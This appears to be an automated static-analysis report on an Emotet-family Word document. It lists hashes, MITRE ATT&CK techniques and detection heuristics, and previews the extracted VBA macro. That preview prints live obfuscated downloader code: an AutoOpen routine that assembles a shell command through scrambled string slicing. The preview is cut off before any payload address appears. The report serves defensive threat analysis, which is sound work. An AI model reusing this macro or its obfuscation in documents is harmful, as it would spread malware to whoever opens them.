Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 a5c58c1aae678329…

MALICIOUS

Office (OLE)

210.4 KB Created: 2018-09-24 07:37:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 3a33836fd77950cd8882471736c55112 SHA-1: d5c160ad38a40d5c5719f599156c21b513099b2b SHA-256: a5c58c1aae678329ff350ff0a05b1baebf5fae165db2f4c90a1fd4d97a48136a
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen function that utilizes the Shell() command, a critical indicator of malicious activity. ClamAV identifies this as 'Doc.Downloader.Emotet-6883998-0', strongly suggesting the Emotet family. The macro's primary function appears to be downloading and executing a secondary payload, consistent with Emotet's typical behavior.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6883998-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6883998-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 190112 bytes
SHA-256: cd5e331bff37f99a892a2346af94c6e874aff50b6155d2444f7c3244fbdb727a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ihWZtljSr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim ZBzsz(1)
ZBzsz(0) = MidB(FJuWChwzRQj + IjHQhVAkJAomswdzbphVjsorFHNP + SwsuiKbnrwJ, 122, 685) + MidB(bURorlcjYaYs + dvkEGazfjRQOudwaJfGinsupSTTKSwtO + BcjmwkzYdr, 979, 34) + MidB(ONXQqzJ + kfLQHwRAdZZjvUwCPCqQt + FZdXCPoQzGkUsa, 223, 819) + Left(AbiSCinCHz + PSzMsrXraKkQvNiDcDMHssnWvkzIrG + SWjhTTrzqrSWp, 708)
   Dim MMTiHm(2)
MMTiHm(0) = Mid(qczrbwqrrb + SRftnrptaLNcGQqodhwAkfVacdZGJ + YujZrPzjvfOVl, 199, 198) + MidB(NuzzimR + RMPBEEVOsJOmSzUoAkQSiWtOItpHP + wkQtaKzWRR, 810, 779) + Mid(zdumSChAulf + MUDlucMUPDuZoNwAnhSnvVwjszpfO + mCOjvMOHiZ, 993, 254) + MidB(UBtzztBBE + wsUWZXjKTKkUsVDfcISTYvviQWTkwGQ + ukJCTDKRJR, 482, 100)
MMTiHm(1) = MidB(WZNMHfYvadpPo + MiEvAJuToFHBPiWczLktIRvwKfMD + DwnUJcfb, 120, 478) + MidB(XXjvHMc + CblvdFLocXqzzSSLBVFMH + XSOXzbIHBUBYjW, 379, 819) + MidB(NMaaNEFtQFhzPd + htWQcwiqvwpdoifnPuuEKSFLCaEFYjwoa + TQijiPO, 538, 143) + Mid(BJAivQjoLz + fQrtRupzHKlvQjTpvqwYuEpojFlIEw + TmWzhRbPrYEFfj, 317, 981)
   Dim Ozdrf(2)
Ozdrf(0) = Mid(UiowiDDilVs + dDhusnciNXoclmwwGKujXirbnWK + ViaKPizsLzGYRJ, 102, 350) + MidB(sWuiIjXJQBL + DGdTwKbnzFvKnUlJVrSj + WqmFRzhWrDSnq, 138, 140) + Mid(hXomzwQDwPCTR + dfbUohtBYYTpSiiBfwLAYuWCVi + aRrKKfm, 24, 202) + MidB(POiLakRkAn + RSfDaSfTuVtSzzPioznvmui + EzdPIRasf, 539, 244)
Ozdrf(1) = Right(PCVtltdczll + CdWsIrWOTVQkBWPovJhlZtJ + oGMsGiOzV, 739) + Left(MQvhFnAsGM + jOUUrwzzCZNIYzZuCEhismEUGI + bwzJsKuF, 479) + Left(TIriYjntGh + JBfbincqEszOJPHUVPkOZBDfoTPr + rpHMiLRw, 866) + Mid(QtTPRfzNN + ZnGafHoabNOoXHvNjCYzJIjPWnR + LAQUFIjKI, 356, 40)
   Dim UPQvL(2)
UPQvL(0) = Right(EuGaMCRzXpsKK + GwmLritTliDiKtlnaTpYwmfisVDI + uITIAaH, 204) + Left(vIXnpiEFkr + RYpYLEBhWnbkBZcLGwUcoPspNRwXZ + qvSbODJcmYVvC, 755)
UPQvL(1) = MidB(SkfwGwvBITP + jwNbtKdKLlIzhESTqCfntDjtAQSvoVw + HUJcbRHzXz, 760, 286) + Right(pdNirDLUXJQd + qTcXiiLwjZhXYVEwfJidSFzOnzzLwYOJEW + MXqwnzTfXwTN, 725) + MidB(PXslRfQX + OjzKiRhfvwKmoslUqpZiNzlMlwEwAp + OUVsjlhqWA, 542, 38) + MidB(jLZiXvoElKtFw + AJzHOiRzzIsEiMXjIsXSRTkKiKzapAA + iupOOMcZirFwY, 751, 199)
   Dim tznXZF(2)
tznXZF(0) = Left(VcHbBsK + iLXuktPuCARhKfAdwItQjcwqjWow + SGtbkJEXcWF, 104) + Mid(ScaYuBZCkvrSm + XNBmmPDlYtptrWLaYGvQEGFP + kRXCrFJDTCYOqC, 594, 101)
tznXZF(1) = MidB(LOjQibdZczz + zinobRBClNHHlKQtlzJHOTnvYR + GnUZfCND, 756, 911) + Mid(BbIsqSJiMz + vbZUnWdlBBTRMfhMOviGmK + FIuzISM, 576, 93) + MidB(PQSrQzapbiowD + HMQUmJsRXdOCBEiZjlSvNGMVUaR + VWKANjrjXzvOB, 942, 642) + Right(wOMRLqLHCO + YqFRYhVrDUqsCvApMJfizzZJjwsK + vwIpzdPLw, 365)
GAoJrGUCDZs (KeyString(vbKeyC) + KeyString(vbKeyM) + wbIwLTWw + NqDvA + KdLivVuriTI + cmuXa + IOvrzqKGE + wwJjjhL + SnzRvrRmJk)
   Dim WDnpFA(1)
WDnpFA(0) = Mid(DEzHDmTNE + FljzjIqkSrfsQDasVtihTNopOJYDib + rpFHhOPZYXMiE, 540, 228) + Left(LDOmcPksScbun + cKjlnOLPRlsAFlmzwYZGPZVOOmo + awGtsandzows, 826)
   Dim mjpizb(2)
mjpizb(0) = MidB(CDULRzzcdNASE + tWJhXjcOYCmchJiJzEDpYiCLTfqFimo + otCIZpwJ, 603, 449) + Left(TfrSAwCVHmD + JihwHpsBCuwvdAcFmjzAzmiq + zBqjkQGOMX, 655) + MidB(RkcWESBtCww + KiiKcwGbCtYPLtNsSYQPXPaYljzFtzt + jBujQCPrDG, 859, 86) + MidB(JdXSocSLvCZ + FofSRIUhrYpAASTJhUcAWfFdFUGsJvG + YoawnwS, 98, 663)
mjpizb(1) = MidB(JurmUFsuRMJmM + MkffFtIUvGXoCVWRTKdUXECM + PBNRYlhZDMuAZ, 908, 336) + MidB(DsvpVYvLEiQI + hQijSsGRozkBXiDJWzTwBtcSG + RRcJMkv, 282, 975) + MidB(nbHslXYsTAN + DNTdmpavOWjHrKiEovLspIIFu + CESYGwQ, 356, 532) + Mid(bsMkLdfNKdjIJJ + iUikjmuMSNlLRXsvujEwiZjCXV + POdlwzYN, 785, 954)
   Dim wuuBt(2)
wuuBt(0) = MidB(NOpYoaXzKzkWq + TXijYvWiVjlwkiRhiuZppK + NOEaIvtaXTMhsq, 660, 214) + MidB(pYPjUaFJ + uhsVzzJSuYpFKHjprLOmhVChhudU + ifparkuh, 311, 714)
wuuBt(1) = Mid(zSFYIiWUzzfv + vPbXwZZjXiRkEwJvddwWjczwfJjAuQrpiF + iJPvaGXZXanDC, 335, 227) + MidB(nSmwbtan + UNJPDDovoGBCNaaFVfEOdrnFsHQpI + DMNKkANWWWXl, 308, 470) + Mid(oEHfuQw + QzvoYQfETKMukfkGGGXhWFbkARomN + TCShzGrjwNIo
... (truncated)

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